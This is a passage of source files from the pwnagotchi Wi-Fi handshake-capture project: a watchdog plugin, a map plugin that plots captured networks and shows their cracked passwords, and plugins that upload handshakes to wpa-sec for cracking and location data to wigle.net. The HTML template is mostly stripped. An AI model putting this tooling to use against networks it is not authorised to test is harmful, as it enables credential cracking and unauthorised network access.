self.status.newer_then_minutes(5): 33 | return 34 | 35 | data_keys = ['num_deauths', 'num_associations', 'num_handshakes'] 36 | has_interactions = any([epoch_data[x] 37 | for x in data_keys 38 | if x in epoch_data]) 39 | 40 | if has_interactions: 41 | return 42 | 43 | epoch_duration = epoch_data['duration_secs'] 44 | 45 | # get last 10 lines 46 | last_lines = ''.join(list(TextIOWrapper(subprocess.Popen(['journalctl','-n10','-k', '--since', f"{epoch_duration} seconds ago"], 47 | stdout=subprocess.PIPE).stdout))[-10:]) 48 | 49 | if len(self.pattern.findall(last_lines)) >= 5: 50 | display = agent.view() 51 | display.set('status', 'Blind-Bug detected. Restarting.') 52 | display.update(force=True) 53 | logging.info('[WATCHDOG] Blind-Bug detected. Restarting.') 54 | mode = 'MANU' if agent.mode == 'manual' else 'AUTO' 55 | import pwnagotchi 56 | pwnagotchi.reboot(mode=mode) 57 | -------------------------------------------------------------------------------- /webgpsmap.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | GPS MAP 5 | 6 | 7 | 8 | 9 | 10 | 94 | 95 | 96 |
97 |
98 | 99 |
0 APs
100 |
101 |
(⌐■  ■)
loading positions...
102 | 287 | 288 | -------------------------------------------------------------------------------- /webgpsmap.py: -------------------------------------------------------------------------------- 1 | ''' 2 | webgpsmap shows existing position data stored in your /handshakes/ directory 3 | 4 | the plugin does the following: 5 | - search for *.pcap files in your /handshakes/ dir 6 | - for every found .pcap file it looks for a .geo.json or .gps.json or .paw-gps.json file with 7 | latitude+longitude data inside and shows this position on the map 8 | - if also an .cracked file with a plaintext password inside exist, it reads the content and shows the 9 | position as green instead of red and the password inside the infopox of the position 10 | special: 11 | you can save the html-map as one file for offline use or host on your own webspace with "/plugins/webgpsmap/offlinemap" 12 | 13 | ''' 14 | import sys 15 | import logging 16 | import os 17 | import json 18 | import re 19 | from pwnagotchi import plugins 20 | from flask import Response 21 | from functools import lru_cache 22 | from dateutil.parser import parse 23 | 24 | 25 | class Webgpsmap(plugins.Plugin): 26 | __name__ = 'webgpsmap' 27 | __author__ = 'https://github.com/xenDE and https://github.com/dadav' 28 | __version__ = '2.0.2' 29 | __license__ = 'GPL3' 30 | __description__ = 'a plugin for pwnagotchi that shows a openstreetmap with positions of ap-handshakes in your webbrowser' 31 | __dependencies__ = { 32 | 'pip': ['flask'] 33 | } 34 | __assets__ = ['webgpsmap.html'] 35 | __defaults__ = { 36 | 'enabled': False, 37 | } 38 | 39 | ALREADY_SENT = list() 40 | SKIP = list() 41 | 42 | def __init__(self): 43 | self.ready = False 44 | 45 | def on_config_changed(self, config): 46 | self.config = config 47 | self.ready = True 48 | 49 | def on_loaded(self): 50 | """ 51 | Plugin got loaded 52 | """ 53 | logging.info("[webgpsmap] plugin loaded") 54 | 55 | def on_webhook(self, path, request): 56 | """ 57 | Returns ewquested data 58 | """ 59 | # defaults: 60 | response_header_contenttype = None 61 | response_header_contentdisposition = None 62 | response_mimetype = "application/xhtml+xml" 63 | if not self.ready: 64 | try: 65 | response_data = bytes(''' 66 | 67 | 68 | 69 | 70 | Not ready yet 71 | ''', "utf-8") 72 | response_status = 500 73 | response_mimetype = "application/xhtml+xml" 74 | response_header_contenttype = 'text/html' 75 | except Exception as error: 76 | logging.error(f"[webgpsmap] on_webhook NOT_READY error: {error}") 77 | return 78 | else: 79 | if request.method == "GET": 80 | if path == '/' or not path: 81 | # returns the html template 82 | self.ALREADY_SENT = list() 83 | try: 84 | response_data = bytes(self.get_html(), "utf-8") 85 | except Exception as error: 86 | logging.error(f"[webgpsmap] on_webhook / error: {error}") 87 | return 88 | response_status = 200 89 | response_mimetype = "application/xhtml+xml" 90 | response_header_contenttype = 'text/html' 91 | elif path.startswith('all'): 92 | # returns all positions 93 | try: 94 | self.ALREADY_SENT = list() 95 | response_data = bytes(json.dumps(self.load_gps_from_dir(self.config['bettercap']['handshakes'])), "utf-8") 96 | response_status = 200 97 | response_mimetype = "application/json" 98 | response_header_contenttype = 'application/json' 99 | except Exception as error: 100 | logging.error(f"[webgpsmap] on_webhook all error: {error}") 101 | return 102 | elif path.startswith('offlinemap'): 103 | # for download an all-in-one html file with positions.json inside 104 | try: 105 | self.ALREADY_SENT = list() 106 | json_data = json.dumps(self.load_gps_from_dir(self.config['bettercap']['handshakes'])) 107 | html_data = self.get_html() 108 | html_data = html_data.replace('var positions = [];', 'var positions = ' + json_data + ';positionsLoaded=true;drawPositions();') 109 | response_data = bytes(html_data, "utf-8") 110 | response_status = 200 111 | response_mimetype = "application/xhtml+xml" 112 | response_header_contenttype = 'text/html' 113 | response_header_contentdisposition = 'attachment; filename=webgpsmap.html'; 114 | except Exception as error: 115 | logging.error(f"[webgpsmap] on_webhook offlinemap: error: {error}") 116 | return 117 | # elif path.startswith('/newest'): 118 | # # returns all positions newer then timestamp 119 | # response_data = bytes(json.dumps(self.load_gps_from_dir(self.config['bettercap']['handshakes']), newest_only=True), "utf-8") 120 | # response_status = 200 121 | # response_mimetype = "application/json" 122 | # response_header_contenttype = 'application/json' 123 | else: 124 | # unknown GET path 125 | response_data = bytes(''' 126 | 127 | 128 | 129 | 130 | 4😋4 131 | ''', "utf-8") 132 | response_status = 404 133 | else: 134 | # unknown request.method 135 | response_data = bytes(''' 136 | 137 | 138 | 139 | 140 | 4😋4 for bad boys 141 | ''', "utf-8") 142 | response_status = 404 143 | try: 144 | r = Response(response=response_data, status=response_status, mimetype=response_mimetype) 145 | if response_header_contenttype is not None: 146 | r.headers["Content-Type"] = response_header_contenttype 147 | if response_header_contentdisposition is not None: 148 | r.headers["Content-Disposition"] = response_header_contentdisposition 149 | return r 150 | except Exception as error: 151 | logging.error(f"[webgpsmap] on_webhook CREATING_RESPONSE error: {error}") 152 | return 153 | 154 | # cache 2048 items 155 | @lru_cache(maxsize=2048, typed=False) 156 | def _get_pos_from_file(self, path): 157 | return PositionFile(path) 158 | 159 | def load_gps_from_dir(self, gpsdir, newest_only=False): 160 | """ 161 | Parses the gps-data from disk 162 | """ 163 | 164 | handshake_dir = gpsdir 165 | gps_data = dict() 166 | 167 | logging.info(f"[webgpsmap] scanning {handshake_dir}") 168 | 169 | all_files = os.listdir(handshake_dir) 170 | all_pcap_files = [os.path.join(handshake_dir, filename) 171 | for filename in all_files 172 | if filename.endswith('.pcap')] 173 | all_geo_or_gps_files = [] 174 | for filename_pcap in all_pcap_files: 175 | filename_base = filename_pcap[:-5] # remove ".pcap" 176 | logging.debug(f"[webgpsmap] found: {filename_base}") 177 | filename_position = None 178 | 179 | logging.debug("[webgpsmap] search for .gps.json") 180 | check_for = os.path.basename(filename_base) + ".gps.json" 181 | if check_for in all_files: 182 | filename_position = str(os.path.join(handshake_dir, check_for)) 183 | 184 | logging.debug("[webgpsmap] search for .geo.json") 185 | check_for = os.path.basename(filename_base) + ".geo.json" 186 | if check_for in all_files: 187 | filename_position = str(os.path.join(handshake_dir, check_for)) 188 | 189 | logging.debug("[webgpsmap] search for .paw-gps.json") 190 | check_for = os.path.basename(filename_base) + ".paw-gps.json" 191 | if check_for in all_files: 192 | filename_position = str(os.path.join(handshake_dir, check_for)) 193 | 194 | logging.debug(f"[webgpsmap] end search for position data files and use {filename_position}") 195 | 196 | if filename_position is not None: 197 | all_geo_or_gps_files.append(filename_position) 198 | 199 | # all_geo_or_gps_files = set(all_geo_or_gps_files) - set(SKIP) # remove skipped networks? No! 200 | 201 | if newest_only: 202 | all_geo_or_gps_files = set(all_geo_or_gps_files) - set(self.ALREADY_SENT) 203 | 204 | logging.info(f"[webgpsmap] Found {len(all_geo_or_gps_files)} position-data files from {len(all_pcap_files)} handshakes. Fetching positions ...") 205 | 206 | for pos_file in all_geo_or_gps_files: 207 | try: 208 | pos = self._get_pos_from_file(pos_file) 209 | if not pos.type() == PositionFile.GPS and not pos.type() == PositionFile.GEO and not pos.type() == PositionFile.PAWGPS: 210 | continue 211 | 212 | ssid, mac = pos.ssid(), pos.mac() 213 | ssid = "unknown" if not ssid else ssid 214 | # invalid mac is strange and should abort; ssid is ok 215 | if not mac: 216 | raise ValueError("Mac can't be parsed from filename") 217 | pos_type = 'unknown' 218 | if pos.type() == PositionFile.GPS: 219 | pos_type = 'gps' 220 | elif pos.type() == PositionFile.GEO: 221 | pos_type = 'geo' 222 | elif pos.type() == PositionFile.PAWGPS: 223 | pos_type = 'paw' 224 | gps_data[ssid + "_" + mac] = { 225 | 'ssid': ssid, 226 | 'mac': mac, 227 | 'type': pos_type, 228 | 'lng': pos.lng(), 229 | 'lat': pos.lat(), 230 | 'acc': pos.accuracy(), 231 | 'ts_first': pos.timestamp_first(), 232 | 'ts_last': pos.timestamp_last(), 233 | } 234 | 235 | # get ap password if exist 236 | check_for = os.path.basename(pos_file).split(".")[0] + ".pcap.cracked" 237 | if check_for in all_files: 238 | gps_data[ssid + "_" + mac]["pass"] = pos.password() 239 | 240 | self.ALREADY_SENT += pos_file 241 | except json.JSONDecodeError as error: 242 | self.SKIP += pos_file 243 | logging.error(f"[webgpsmap] JSONDecodeError in: {pos_file} - error: {error}") 244 | continue 245 | except ValueError as error: 246 | self.SKIP += pos_file 247 | logging.error(f"[webgpsmap] ValueError: {pos_file} - error: {error}") 248 | continue 249 | except OSError as error: 250 | self.SKIP += pos_file 251 | logging.error(f"[webgpsmap] OSError: {pos_file} - error: {error}") 252 | continue 253 | logging.info(f"[webgpsmap] loaded {len(gps_data)} positions") 254 | return gps_data 255 | 256 | def get_html(self): 257 | """ 258 | Returns the html page 259 | """ 260 | try: 261 | template_file = os.path.dirname(os.path.realpath(__file__)) + "/" + "webgpsmap.html" 262 | html_data = open(template_file, "r").read() 263 | except Exception as error: 264 | logging.error(f"[webgpsmap] error loading template file {template_file} - error: {error}") 265 | return html_data 266 | 267 | 268 | class PositionFile: 269 | """ 270 | Wraps gps / net-pos files 271 | """ 272 | GPS = 1 273 | GEO = 2 274 | PAWGPS = 3 275 | 276 | def __init__(self, path): 277 | self._file = path 278 | self._filename = os.path.basename(path) 279 | try: 280 | logging.debug(f"[webgpsmap] loading {path}") 281 | with open(path, 'r') as json_file: 282 | self._json = json.load(json_file) 283 | logging.debug(f"[webgpsmap] loaded {path}") 284 | except json.JSONDecodeError as js_e: 285 | raise js_e 286 | 287 | def mac(self): 288 | """ 289 | Returns the mac from filename 290 | """ 291 | parsed_mac = re.search(r'.*_?([a-zA-Z0-9]{12})\.(?:gps|geo|paw-gps)\.json', self._filename) 292 | if parsed_mac: 293 | mac = parsed_mac.groups()[0] 294 | return mac 295 | return None 296 | 297 | def ssid(self): 298 | """ 299 | Returns the ssid from filename 300 | """ 301 | parsed_ssid = re.search(r'(.+)_[a-zA-Z0-9]{12}\.(?:gps|geo|paw-gps)\.json', self._filename) 302 | if parsed_ssid: 303 | return parsed_ssid.groups()[0] 304 | return None 305 | 306 | def json(self): 307 | """ 308 | returns the parsed json 309 | """ 310 | return self._json 311 | 312 | def timestamp_first(self): 313 | """ 314 | returns the timestamp of AP first seen 315 | """ 316 | # use file timestamp creation time of the pcap file 317 | return int("%.0f" % os.path.getctime(self._file)) 318 | 319 | def timestamp_last(self): 320 | """ 321 | returns the timestamp of AP last seen 322 | """ 323 | return_ts = None 324 | if 'ts' in self._json: 325 | return_ts = self._json['ts'] 326 | elif 'Updated' in self._json: 327 | # convert gps datetime to unix timestamp: "2019-10-05T23:12:40.422996+01:00" 328 | dateObj = parse(self._json['Updated']) 329 | return_ts = int("%.0f" % dateObj.timestamp()) 330 | else: 331 | # use file timestamp last modification of the json file 332 | return_ts = int("%.0f" % os.path.getmtime(self._file)) 333 | return return_ts 334 | 335 | def password(self): 336 | """ 337 | returns the password from file.pcap.cracked or None 338 | """ 339 | return_pass = None 340 | # 2do: make better filename split/remove extension because this one has problems with "." in path 341 | base_filename, ext1, ext2 = re.split('\.', self._file) 342 | password_file_path = base_filename + ".pcap.cracked" 343 | if os.path.isfile(password_file_path): 344 | try: 345 | password_file = open(password_file_path, 'r') 346 | return_pass = password_file.read() 347 | password_file.close() 348 | except OSError as error: 349 | logging.error(f"[webgpsmap] OS error loading password: {password_file_path} - error: {format(error)}") 350 | except Exception: 351 | logging.error(f"[webgpsmap] Unexpected error loading password: {password_file_path} - error: {sys.exc_info()[0]}") 352 | raise 353 | return return_pass 354 | 355 | def type(self): 356 | """ 357 | returns the type of the file 358 | """ 359 | if self._file.endswith('.gps.json'): 360 | return PositionFile.GPS 361 | if self._file.endswith('.geo.json'): 362 | return PositionFile.GEO 363 | if self._file.endswith('.paw-gps.json'): 364 | return PositionFile.PAWGPS 365 | return None 366 | 367 | def lat(self): 368 | try: 369 | lat = None 370 | # try to get value from known formats 371 | if 'Latitude' in self._json: 372 | lat = self._json['Latitude'] 373 | if 'lat' in self._json: 374 | lat = self._json['lat'] # an old paw-gps format: {"long": 14.693561, "lat": 40.806375} 375 | if 'location' in self._json: 376 | if 'lat' in self._json['location']: 377 | lat = self._json['location']['lat'] 378 | # check value 379 | if lat is None: 380 | raise ValueError(f"Lat is None in {self._filename}") 381 | if lat == 0: 382 | raise ValueError(f"Lat is 0 in {self._filename}") 383 | return lat 384 | except KeyError: 385 | pass 386 | return None 387 | 388 | def lng(self): 389 | try: 390 | lng = None 391 | # try to get value from known formats 392 | if 'Longitude' in self._json: 393 | lng = self._json['Longitude'] 394 | if 'long' in self._json: 395 | lng = self._json['long'] # an old paw-gps format: {"long": 14.693561, "lat": 40.806375} 396 | if 'location' in self._json: 397 | if 'lng' in self._json['location']: 398 | lng = self._json['location']['lng'] 399 | # check value 400 | if lng is None: 401 | raise ValueError(f"Lng is None in {self._filename}") 402 | if lng == 0: 403 | raise ValueError(f"Lng is 0 in {self._filename}") 404 | return lng 405 | except KeyError: 406 | pass 407 | return None 408 | 409 | def accuracy(self): 410 | if self.type() == PositionFile.GPS: 411 | return 50.0 # a default 412 | if self.type() == PositionFile.PAWGPS: 413 | return 50.0 # a default 414 | if self.type() == PositionFile.GEO: 415 | try: 416 | return self._json['accuracy'] 417 | except KeyError: 418 | pass 419 | return None 420 | -------------------------------------------------------------------------------- /wigle.py: -------------------------------------------------------------------------------- 1 | import os 2 | import logging 3 | import json 4 | import csv 5 | import requests 6 | 7 | from io import StringIO 8 | from datetime import datetime 9 | from pwnagotchi.utils import WifiInfo, FieldNotFoundError, extract_from_pcap, StatusFile, remove_whitelisted 10 | from threading import Lock 11 | from pwnagotchi import plugins 12 | 13 | 14 | def _extract_gps_data(path): 15 | """ 16 | Extract data from gps-file 17 | 18 | return json-obj 19 | """ 20 | 21 | try: 22 | with open(path, 'r') as json_file: 23 | return json.load(json_file) 24 | except OSError as os_err: 25 | raise os_err 26 | except json.JSONDecodeError as json_err: 27 | raise json_err 28 | 29 | 30 | def _format_auth(data): 31 | out = "" 32 | for auth in data: 33 | out = f"{out}[{auth}]" 34 | return out 35 | 36 | 37 | def _transform_wigle_entry(gps_data, pcap_data): 38 | """ 39 | Transform to wigle entry in file 40 | """ 41 | dummy = StringIO() 42 | # write kismet header 43 | dummy.write( 44 | "WigleWifi-1.4,appRelease=20190201,model=Kismet,release=2019.02.01.{},device=kismet,display=kismet,board=kismet,brand=kismet\n") 45 | dummy.write( 46 | "MAC,SSID,AuthMode,FirstSeen,Channel,RSSI,CurrentLatitude,CurrentLongitude,AltitudeMeters,AccuracyMeters,Type") 47 | 48 | writer = csv.writer(dummy, delimiter=",", quoting=csv.QUOTE_NONE, escapechar="\\") 49 | writer.writerow([ 50 | pcap_data[WifiInfo.BSSID], 51 | pcap_data[WifiInfo.ESSID], 52 | _format_auth(pcap_data[WifiInfo.ENCRYPTION]), 53 | datetime.strptime(gps_data['Updated'].rsplit('.')[0], 54 | "%Y-%m-%dT%H:%M:%S").strftime('%Y-%m-%d %H:%M:%S'), 55 | pcap_data[WifiInfo.CHANNEL], 56 | pcap_data[WifiInfo.RSSI], 57 | gps_data['Latitude'], 58 | gps_data['Longitude'], 59 | gps_data['Altitude'], 60 | 0, # accuracy? 61 | 'WIFI']) 62 | return dummy.getvalue() 63 | 64 | 65 | def _send_to_wigle(lines, api_key, timeout=30): 66 | """ 67 | Uploads the file to wigle-net 68 | """ 69 | 70 | dummy = StringIO() 71 | 72 | for line in lines: 73 | dummy.write(f"{line}") 74 | 75 | dummy.seek(0) 76 | 77 | headers = {'Authorization': f"Basic {api_key}", 78 | 'Accept': 'application/json'} 79 | data = {'donate': 'false'} 80 | payload = {'file': dummy, 'type': 'text/csv'} 81 | 82 | try: 83 | res = requests.post('https://api.wigle.net/api/v2/file/upload', 84 | data=data, 85 | headers=headers, 86 | files=payload, 87 | timeout=timeout) 88 | json_res = res.json() 89 | if not json_res['success']: 90 | raise requests.exceptions.RequestException(json_res['message']) 91 | except requests.exceptions.RequestException as re_e: 92 | raise re_e 93 | 94 | 95 | class Wigle(plugins.Plugin): 96 | __author__ = '33197631+dadav@users.noreply.github.com' 97 | __version__ = '3.0.1' 98 | __license__ = 'GPL3' 99 | __description__ = 'This plugin automatically uploads collected wifis to wigle.net' 100 | __dependencies__ = { 101 | 'pip': ['requests'] 102 | } 103 | __defaults__ = { 104 | 'enabled': False, 105 | 'api_key': '', 106 | 'whitelist': [], 107 | } 108 | 109 | def __init__(self): 110 | self.ready = False 111 | self.report = StatusFile('/root/.wigle_uploads', data_format='json') 112 | self.skip = list() 113 | self.lock = Lock() 114 | self.shutdown = False 115 | 116 | def on_config_changed(self, config): 117 | with self.lock: 118 | self.options['whitelist'] = list(set(self.options['whitelist'] + config['main']['whitelist'])) 119 | 120 | def on_before_shutdown(self): 121 | self.shutdown = True 122 | 123 | def on_loaded(self): 124 | if not self.options['api_key']: 125 | logging.debug("WIGLE: api_key isn't set. Can't upload to wigle.net") 126 | return 127 | 128 | if 'whitelist' not in self.options: 129 | self.options['whitelist'] = list() 130 | 131 | self.ready = True 132 | 133 | def on_internet_available(self, agent): 134 | """ 135 | Called in manual mode when there's internet connectivity 136 | """ 137 | if not self.ready or self.lock.locked() or self.shutdown: 138 | return 139 | 140 | from scapy.all import Scapy_Exception 141 | 142 | config = agent.config() 143 | display = agent.view() 144 | reported = self.report.data_field_or('reported', default=list()) 145 | handshake_dir = config['bettercap']['handshakes'] 146 | all_files = os.listdir(handshake_dir) 147 | all_gps_files = [os.path.join(handshake_dir, filename) 148 | for filename in all_files 149 | if filename.endswith('.gps.json')] 150 | 151 | all_gps_files = remove_whitelisted(all_gps_files, self.options['whitelist']) 152 | new_gps_files = set(all_gps_files) - set(reported) - set(self.skip) 153 | if new_gps_files: 154 | logging.info("WIGLE: Internet connectivity detected. Uploading new handshakes to wigle.net") 155 | csv_entries = list() 156 | no_err_entries = list() 157 | for gps_file in new_gps_files: 158 | if self.shutdown: 159 | return 160 | pcap_filename = gps_file.replace('.gps.json', '.pcap') 161 | if not os.path.exists(pcap_filename): 162 | logging.debug("WIGLE: Can't find pcap for %s", gps_file) 163 | self.skip.append(gps_file) 164 | continue 165 | try: 166 | gps_data = _extract_gps_data(gps_file) 167 | except OSError as os_err: 168 | logging.debug("WIGLE: %s", os_err) 169 | self.skip.append(gps_file) 170 | continue 171 | except json.JSONDecodeError as json_err: 172 | logging.debug("WIGLE: %s", json_err) 173 | self.skip.append(gps_file) 174 | continue 175 | if gps_data['Latitude'] == 0 and gps_data['Longitude'] == 0: 176 | logging.debug("WIGLE: Not enough gps-information for %s. Trying again next time.", gps_file) 177 | self.skip.append(gps_file) 178 | continue 179 | try: 180 | pcap_data = extract_from_pcap(pcap_filename, [WifiInfo.BSSID, 181 | WifiInfo.ESSID, 182 | WifiInfo.ENCRYPTION, 183 | WifiInfo.CHANNEL, 184 | WifiInfo.RSSI]) 185 | except FieldNotFoundError: 186 | logging.debug("WIGLE: Could not extract all information. Skip %s", gps_file) 187 | self.skip.append(gps_file) 188 | continue 189 | except Scapy_Exception as sc_e: 190 | logging.debug("WIGLE: %s", sc_e) 191 | self.skip.append(gps_file) 192 | continue 193 | new_entry = _transform_wigle_entry(gps_data, pcap_data) 194 | csv_entries.append(new_entry) 195 | no_err_entries.append(gps_file) 196 | if csv_entries: 197 | display.set('status', "Uploading gps-data to wigle.net ...") 198 | display.update(force=True) 199 | try: 200 | _send_to_wigle(csv_entries, self.options['api_key']) 201 | reported += no_err_entries 202 | self.report.update(data={'reported': reported}) 203 | logging.info("WIGLE: Successfully uploaded %d files", len(no_err_entries)) 204 | except requests.exceptions.RequestException as re_e: 205 | self.skip += no_err_entries 206 | logging.debug("WIGLE: Got an exception while uploading %s", re_e) 207 | except OSError as os_e: 208 | self.skip += no_err_entries 209 | logging.debug("WIGLE: Got the following error: %s", os_e) 210 | -------------------------------------------------------------------------------- /wpa-sec.py: -------------------------------------------------------------------------------- 1 | import os 2 | import logging 3 | import requests 4 | from datetime import datetime 5 | from threading import Lock 6 | from pwnagotchi.utils import StatusFile, remove_whitelisted 7 | from pwnagotchi import plugins 8 | from json.decoder import JSONDecodeError 9 | 10 | 11 | class WpaSec(plugins.Plugin): 12 | __author__ = '33197631+dadav@users.noreply.github.com' 13 | __version__ = '3.0.2' 14 | __license__ = 'GPL3' 15 | __description__ = 'This plugin automatically uploads handshakes to https://wpa-sec.stanev.org' 16 | __dependencies__ = { 17 | 'pip': ['requests'] 18 | } 19 | __defaults__ = { 20 | 'enabled': False, 21 | 'api_key': '', 22 | 'api_url': 'https://wpa-sec.stanev.org', 23 | 'download_results': False, 24 | 'whitelist': [], 25 | } 26 | 27 | def __init__(self): 28 | self.ready = False 29 | self.lock = Lock() 30 | try: 31 | self.report = StatusFile('/root/.wpa_sec_uploads', data_format='json') 32 | except JSONDecodeError: 33 | os.remove("/root/.wpa_sec_uploads") 34 | self.report = StatusFile('/root/.wpa_sec_uploads', data_format='json') 35 | self.options = dict() 36 | self.skip = list() 37 | self.shutdown = False 38 | 39 | def on_config_changed(self, config): 40 | with self.lock: 41 | self.options['whitelist'] = list(set(self.options['whitelist'] + config['main']['whitelist'])) 42 | 43 | def on_before_shutdown(self): 44 | self.shutdown = True 45 | 46 | def _upload_to_wpasec(self, path, timeout=30): 47 | """ 48 | Uploads the file to https://wpa-sec.stanev.org, or another endpoint. 49 | """ 50 | with open(path, 'rb') as file_to_upload: 51 | cookie = {'key': self.options['api_key']} 52 | payload = {'file': file_to_upload} 53 | 54 | try: 55 | result = requests.post(self.options['api_url'], 56 | cookies=cookie, 57 | files=payload, 58 | timeout=timeout) 59 | if ' already submitted' in result.text: 60 | logging.debug('[wpasec] %s was already submitted.', path) 61 | except requests.exceptions.RequestException as req_e: 62 | raise req_e 63 | 64 | def _download_from_wpasec(self, output, timeout=30): 65 | """ 66 | Downloads the results from wpasec and safes them to output 67 | 68 | Output-Format: bssid, station_mac, ssid, password 69 | """ 70 | api_url = self.options['api_url'] 71 | if not api_url.endswith('/'): 72 | api_url = f"{api_url}/" 73 | api_url = f"{api_url}?api&dl=1" 74 | 75 | cookie = {'key': self.options['api_key']} 76 | try: 77 | result = requests.get(api_url, cookies=cookie, timeout=timeout) 78 | with open(output, 'wb') as output_file: 79 | output_file.write(result.content) 80 | except requests.exceptions.RequestException as req_e: 81 | raise req_e 82 | except OSError as os_e: 83 | raise os_e 84 | 85 | def on_loaded(self): 86 | """ 87 | Gets called when the plugin gets loaded 88 | """ 89 | if not self.options['api_key']: 90 | logging.error('[wpasec] API-KEY isn\'t set. Can\'t upload.') 91 | return 92 | 93 | if not self.options['api_url']: 94 | logging.error('[wpasec] API-URL isn\'t set. Can\'t upload, no endpoint configured.') 95 | return 96 | 97 | if 'whitelist' not in self.options: 98 | self.options['whitelist'] = list() 99 | 100 | self.ready = True 101 | 102 | def on_webhook(self, path, request): 103 | from flask import make_response, redirect 104 | response = make_response(redirect(self.options['api_url'], code=302)) 105 | response.set_cookie('key', self.options['api_key']) 106 | return response 107 | 108 | def on_internet_available(self, agent): 109 | """ 110 | Called in manual mode when there's internet connectivity 111 | """ 112 | if not self.ready or self.lock.locked() or self.shutdown: 113 | return 114 | 115 | with self.lock: 116 | config = agent.config() 117 | display = agent.view() 118 | reported = self.report.data_field_or('reported', default=list()) 119 | handshake_dir = config['bettercap']['handshakes'] 120 | handshake_filenames = os.listdir(handshake_dir) 121 | handshake_paths = [os.path.join(handshake_dir, filename) for filename in handshake_filenames if 122 | filename.endswith('.pcap')] 123 | handshake_paths = remove_whitelisted(handshake_paths, self.options['whitelist']) 124 | handshake_new = set(handshake_paths) - set(reported) - set(self.skip) 125 | 126 | if handshake_new: 127 | logging.info('[wpasec] Internet connectivity detected. Uploading new handshakes to wpa-sec.stanev.org') 128 | for idx, handshake in enumerate(handshake_new): 129 | if self.shutdown: 130 | return 131 | display.set('status', f"Uploading handshake to wpa-sec.stanev.org ({idx + 1}/{len(handshake_new)})") 132 | display.update(force=True) 133 | try: 134 | self._upload_to_wpasec(handshake) 135 | reported.append(handshake) 136 | self.report.update(data={'reported': reported}) 137 | logging.debug('[wpasec] Successfully uploaded %s', handshake) 138 | except requests.exceptions.RequestException as req_e: 139 | self.skip.append(handshake) 140 | logging.debug('[wpasec] %s', req_e) 141 | continue 142 | except OSError as os_e: 143 | logging.debug('[wpasec] %s', os_e) 144 | continue 145 | 146 | if 'download_results' in self.options and self.options['download_results']: 147 | cracked_file = os.path.join(handshake_dir, 'wpa-sec.cracked.potfile') 148 | if os.path.exists(cracked_file): 149 | last_check = datetime.fromtimestamp(os.path.getmtime(cracked_file)) 150 | if last_check is not None and ((datetime.now() - last_check).seconds / (60 * 60)) < 1: 151 | return 152 | try: 153 | self._download_from_wpasec(os.path.join(handshake_dir, 'wpa-sec.cracked.potfile')) 154 | logging.info('[wpasec] Downloaded cracked passwords.') 155 | except requests.exceptions.RequestException as req_e: 156 | logging.debug('[wpasec] %s', req_e) 157 | except OSError as os_e: 158 | logging.debug('[wpasec] %s', os_e) 159 | --------------------------------------------------------------------------------